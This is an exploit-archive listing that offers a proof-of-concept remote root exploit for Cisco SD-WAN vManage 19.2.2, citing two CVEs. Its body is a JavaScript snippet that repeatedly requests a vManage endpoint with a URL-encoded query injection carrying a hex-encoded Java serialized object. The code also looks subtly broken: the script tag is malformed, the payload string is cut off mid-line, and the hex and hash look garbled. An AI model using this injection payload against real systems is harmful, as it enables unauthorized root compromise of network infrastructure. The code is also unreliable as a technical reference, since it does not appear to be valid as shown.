

Cisco SD-WAN vManage 19.2.2 Remote Root

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Posted Jun 3, 2021

Cisco SD-WAN vManage version 19.2.2 remote root shell proof of concept exploit that leverages multiple vulnerabilities.

tags | [exploit](#), [remote](#), [shell](#), [root](#), [vulnerability](#), [proof of concept](#)

systems | [cisco](#)

advisories | [CVE-2020-3387](#), [CVE-2020-3437](#)

SHA-256 | [a39fed0dc5f1a0ca97a329bad76e86ccb0fe30addc423ee4f4129602dce1d82e6](#) [Download](#) | [Favorite](#) | [View](#)

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```
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<script src="text/javascript">
  /*
   * This PoC exploits CVE-2020-3387 through CVE-2020-3437
   */
  function exploit() {
    var payload = new Image(1,1);
    payload.src = "https://<target>/dataservice/device/counters?deviceId=-1%27%20return%200%20as%20%60system-
    ip%60%20union%20match(s)%20set%20s%2esamlMessage%3d%22aced00057372002e6a617661782e6d61e66167656d65e742e4261644:
    document.body.appendChild(payload);
  }
  window.onload = function() {
    setInterval(exploit, 1);
  }
</script>
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```

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